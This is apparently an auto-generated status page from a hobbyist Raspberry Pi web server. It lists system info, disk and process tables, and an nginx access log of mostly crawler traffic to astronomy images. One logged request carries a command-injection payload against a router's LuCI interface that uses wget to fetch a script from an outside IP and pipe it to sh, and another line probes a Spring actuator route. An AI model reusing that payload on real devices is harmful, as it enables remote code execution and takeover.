RPI Status with PHP

system date : Tue May 14 07:35:27 PDT 2024

whoami : www-data

uname -a : Linux rpi3 5.10.63-v7+ #1496 SMP Wed Dec 1 15:58:11 GMT 2021 armv7l GNU/Linux

uptime :  07:35:27 up 60 days, 13:34,  0 users,  load average: 0.17, 0.14, 0.10

File systems on RPI
Filesystem      Size  Used Avail Use% Mounted on
/dev/root        29G   11G   18G  38% /
devtmpfs        430M     0  430M   0% /dev
tmpfs           462M     0  462M   0% /dev/shm
tmpfs           462M   49M  414M  11% /run
tmpfs           5.0M  4.0K  5.0M   1% /run/lock
tmpfs           462M     0  462M   0% /sys/fs/cgroup
/dev/mmcblk0p1  253M   49M  204M  20% /boot
/dev/sda1       118G   42G   70G  38% /media/usbstick
tmpfs            93M     0   93M   0% /run/user/109

ps aux --sort=-pcpu on RPI
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
gottsch   1061  3.7 25.2 383840 239008 ?       Sl   Mar14 3283:38 lxpanel --profile LXDE-pi
gottsch    918  0.6  2.2 121952 20896 ?        Sl   Mar14 573:51 /usr/bin/Xvnc-core :1 -auth /home/gottsch/.Xauthority -pn -fp /usr/share/vnc/fonts/ -geometry 1280x1024 -depth 24
root       771  0.5  0.4 201640  4484 tty7     Ssl+ Mar14 448:42 /usr/lib/xorg/Xorg :0 -seat seat0 -auth /var/run/lightdm/root/:0 -nolisten tcp vt7 -novtswitch
lightdm   1086  0.3  1.0 118952  9640 ?        Ssl  Mar14 320:06 /usr/sbin/pi-greeter
gottsch  30651  0.2  1.5  50888 14956 pts/1    Sl+  Apr26  54:35 python ./serial_mon_v1.1.py
root     22087  0.1  0.8   8868  7756 ?        S
ddclient in /var/log/daemon.log

/var/log/nginx/access.log
3.21.159.86 - - [14/May/2024:06:49:37 -0700] "GET /sofi_231014/AnnularEclipse_Tak600D_20231014_203m.jpg HTTP/1.1" 200 99899 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"
64.124.8.91 - - [14/May/2024:06:49:52 -0700] "GET /flecken_2002b/10_06_2002_2272.jpg HTTP/1.1" 200 3826 "-" "Mozilla/5.0 (compatible; ImagesiftBot; +imagesift.com)"
64.124.8.91 - - [14/May/2024:06:50:15 -0700] "GET /sofi_170821/240/43_Tak820mm.jpg HTTP/1.1" 200 12386 "-" "Mozilla/5.0 (compatible; ImagesiftBot; +imagesift.com)"
64.124.8.91 - - [14/May/2024:06:50:37 -0700] "GET /sofi_170821/240/25_Canon400mm.jpg HTTP/1.1" 200 14835 "-" "Mozilla/5.0 (compatible; ImagesiftBot; +imagesift.com)"
18.223.24.92 - - [14/May/2024:06:51:36 -0700] "GET /robots.txt HTTP/1.1" 200 26 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"
18.223.24.92 - - [14/May/2024:06:51:38 -0700] "GET /rpi/rpi_speed/rpi_speed.php HTTP/1.1" 200 377 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"
114.119.145.175 - - [14/May/2024:06:53:46 -0700] "GET /mofi_030516/0504l.htm HTTP/1.1" 200 456 "https://drgert.dyndns.ws/mofi_030516/mofi_e.htm" "Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot)"
3.143.245.137 - - [14/May/2024:06:54:48 -0700] "GET /sofi_231014/AnnularEclipse_Tak600D_20231014_203.jpg HTTP/1.1" 200 1040987 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"
64.124.8.91 - - [14/May/2024:06:55:02 -0700] "GET /h2o/deepsky/n4631_1f_th.jpg HTTP/1.1" 200 7043 "-" "Mozilla/5.0 (compatible; ImagesiftBot; +imagesift.com)"
216.244.66.233 - - [14/May/2024:06:56:53 -0700] "GET /jcmt/bilder/jcmt_12.html HTTP/1.1" 200 728 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)"
216.244.66.233 - - [14/May/2024:06:56:58 -0700] "GET /planeten_2003/saturn/saturn_2003.html HTTP/1.1" 200 3545 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)"
114.119.151.171 - - [14/May/2024:06:58:06 -0700] "GET /robots.txt HTTP/1.1" 200 26 "-" "Mozilla/5.0 (compatible;PetalBot;+https://webmaster.petalsearch.com/site/petalbot)"
64.124.8.91 - - [14/May/2024:06:59:02 -0700] "GET /hawaii_2002/kilauea/bilder/22_10_2002_n2_24_flow_field_gert.jpg HTTP/1.1" 200 46640 "-" "Mozilla/5.0 (compatible; ImagesiftBot; +imagesift.com)"
64.124.8.91 - - [14/May/2024:07:01:20 -0700] "GET /h2o/deepsky/33_15_ngc2023_th.jpg HTTP/1.1" 200 10774 "-" "Mozilla/5.0 (compatible; ImagesiftBot; +imagesift.com)"
18.118.24.128 - - [14/May/2024:07:02:17 -0700] "GET /Lunar_cycle/moon06.3_011022a.JPG HTTP/1.1" 200 354579 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"
64.124.8.91 - - [14/May/2024:07:02:37 -0700] "GET /CCD_Galery/m8m20ww_st10xme_txt.jpg HTTP/1.1" 200 1115728 "-" "Mozilla/5.0 (compatible; ImagesiftBot; +imagesift.com)"
157.55.39.60 - - [14/May/2024:07:03:28 -0700] "GET /sun_2022/Sun_20220827_192417_txt.jpg HTTP/1.1" 200 378926 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36"
188.82.160.153 - - [14/May/2024:07:03:56 -0700] "GET /download/rpi3b_vnc_no_taskbar_03.jpg HTTP/1.1" 200 824113 "https://www.google.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36"
188.82.160.153 - - [14/May/2024:07:04:00 -0700] "GET /download/rpi3b_vnc_no_taskbar.jpg HTTP/1.1" 200 996547 "https://www.google.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36"
64.124.8.91 - - [14/May/2024:07:04:41 -0700] "GET /flecken_2002b/07_29_2002_1766s.jpg HTTP/1.1" 200 3506 "-" "Mozilla/5.0 (compatible; ImagesiftBot; +imagesift.com)"
64.124.8.91 - - [14/May/2024:07:05:13 -0700] "GET /sofi_170821/240/25b_Canon400mm.jpg HTTP/1.1" 200 12790 "-" "Mozilla/5.0 (compatible; ImagesiftBot; +imagesift.com)"
216.244.66.233 - - [14/May/2024:07:06:10 -0700] "GET /hawaii_2002/kilauea/bilder/flow_field_01.html HTTP/1.1" 200 662 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)"
216.244.66.233 - - [14/May/2024:07:06:14 -0700] "GET /hawaii_2002/kilauea/bilder/kilauea_07.html HTTP/1.1" 200 642 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)"
64.124.8.91 - - [14/May/2024:07:07:26 -0700] "GET /sofi_170821/21_Canon400mm.jpg HTTP/1.1" 200 832839 "-" "Mozilla/5.0 (compatible; ImagesiftBot; +imagesift.com)"
64.124.8.91 - - [14/May/2024:07:08:16 -0700] "GET /Lunar_cycle/moon09.6_020522_0225UT_03.jpg HTTP/1.1" 200 903347 "-" "Mozilla/5.0 (compatible; ImagesiftBot; +imagesift.com)"
64.124.8.91 - - [14/May/2024:07:09:11 -0700] "GET /sofi_170821/Tak_600d_HDR_m.jpg HTTP/1.1" 200 324703 "-" "Mozilla/5.0 (compatible; ImagesiftBot; +imagesift.com)"
84.152.53.37 - - [14/May/2024:07:11:10 -0700] "GET /download/ASI2600_rgb.jpg HTTP/1.1" 200 48228 "https://www.cloudynights.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0"
64.124.8.91 - - [14/May/2024:07:12:30 -0700] "GET /hc11_drift/2000WM1_linear_1209_30avg_str.jpg HTTP/1.1" 200 105822 "-" "Mozilla/5.0 (compatible; ImagesiftBot; +imagesift.com)"
64.124.8.91 - - [14/May/2024:07:15:07 -0700] "GET /sofi_170821/46_Tak820mm_PartZoom1_1259.jpg HTTP/1.1" 200 78495 "-" "Mozilla/5.0 (compatible; ImagesiftBot; +imagesift.com)"
3.134.95.222 - - [14/May/2024:07:15:16 -0700] "GET /robots.txt HTTP/1.1" 200 26 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"
3.134.95.222 - - [14/May/2024:07:15:17 -0700] "GET /saturn_occ_97/satocc_de.htm HTTP/1.1" 200 1639 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"
64.124.8.91 - - [14/May/2024:07:16:15 -0700] "GET /kitt_peak/teleskope/bilder/094_030930_18gg_mayall.jpg HTTP/1.1" 200 43301 "-" "Mozilla/5.0 (compatible; ImagesiftBot; +imagesift.com)"
18.118.161.220 - - [14/May/2024:07:17:53 -0700] "GET /rc10_testing/RC10_AC_040623.jpg HTTP/1.1" 200 51898 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"
64.124.8.91 - - [14/May/2024:07:19:15 -0700] "GET /mofi_030516/0557b_t.jpg HTTP/1.1" 200 18264 "-" "Mozilla/5.0 (compatible; ImagesiftBot; +imagesift.com)"
64.124.8.91 - - [14/May/2024:07:19:19 -0700] "GET /moon_jupiter_venus_20150620/Moon_Venus_Jupiter_20150620_ps.jpg HTTP/1.1" 200 212218 "-" "Mozilla/5.0 (compatible; ImagesiftBot; +imagesift.com)"
34.77.127.183 - - [14/May/2024:07:21:40 -0700] "GET / HTTP/1.1" 200 4541 "-" "python-requests/2.31.0"
64.124.8.91 - - [14/May/2024:07:21:55 -0700] "GET /flecken_2002d/sw030209-2245ut.jpg HTTP/1.1" 200 72794 "-" "Mozilla/5.0 (compatible; ImagesiftBot; +imagesift.com)"
64.124.8.91 - - [14/May/2024:07:23:14 -0700] "GET /CCD_Galery/ngc2024lrgb_st10xme_txt.jpg HTTP/1.1" 200 1287680 "-" "Mozilla/5.0 (compatible; ImagesiftBot; +imagesift.com)"
64.124.8.91 - - [14/May/2024:07:23:31 -0700] "GET /jcmt/04th_3_27ad_jcmt.jpg HTTP/1.1" 200 12980 "-" "Mozilla/5.0 (compatible; ImagesiftBot; +imagesift.com)"
64.124.8.91 - - [14/May/2024:07:23:51 -0700] "GET /h2o/deepsky/990516_16zoll_s.jpg HTTP/1.1" 200 17015 "-" "Mozilla/5.0 (compatible; ImagesiftBot; +imagesift.com)"
3.144.45.137 - - [14/May/2024:07:24:13 -0700] "GET /sofi_231014/sofi_231014.html HTTP/1.1" 200 1523 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"
45.15.72.70 - - [14/May/2024:07:24:15 -0700] "GET / HTTP/1.1" 200 4541 "-" "Python/3.11 aiohttp/3.9.3"
64.124.8.91 - - [14/May/2024:07:26:07 -0700] "GET /sofi_170821/27_Canon400mm.jpg HTTP/1.1" 200 692603 "-" "Mozilla/5.0 (compatible; ImagesiftBot; +imagesift.com)"
185.191.126.213 - - [14/May/2024:07:26:28 -0700] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60wget+http%3A%2F%2F103.149.86.202%2Ft+-O-+|+sh%60) HTTP/1.1" 404 169 "-" "Go-http-client/1.1"
114.119.155.239 - - [14/May/2024:07:28:35 -0700] "GET /flecken_2002b/bilder/10_11_2002_2355.jpg HTTP/1.1" 200 22684 "-" "Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot)"
83.97.73.245 - - [14/May/2024:07:31:16 -0700] "GET /actuator/gateway/routes HTTP/1.1" 404 199 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
64.124.8.91 - - [14/May/2024:07:31:51 -0700] "GET /flecken_2002b/07_29_2002_1757s.jpg HTTP/1.1" 200 5687 "-" "Mozilla/5.0 (compatible; ImagesiftBot; +imagesift.com)"
205.210.31.246 - - [14/May/2024:07:32:08 -0700] "GET / HTTP/1.1" 200 14486 "-" "Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com"
3.18.214.38 - - [14/May/2024:07:33:09 -0700] "GET /rc10_testing/RC10_M2_040518b_int.jpg HTTP/1.1" 200 23197 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"
64.124.8.91 - - [14/May/2024:07:34:19 -0700] "GET /sofi_170821/240/33_Tak820mm.jpg HTTP/1.1" 200 12013 "-" "Mozilla/5.0 (compatible; ImagesiftBot; +imagesift.com)"

/var/log/nginx/error.log

/var/log/syslog

Failed root login attempts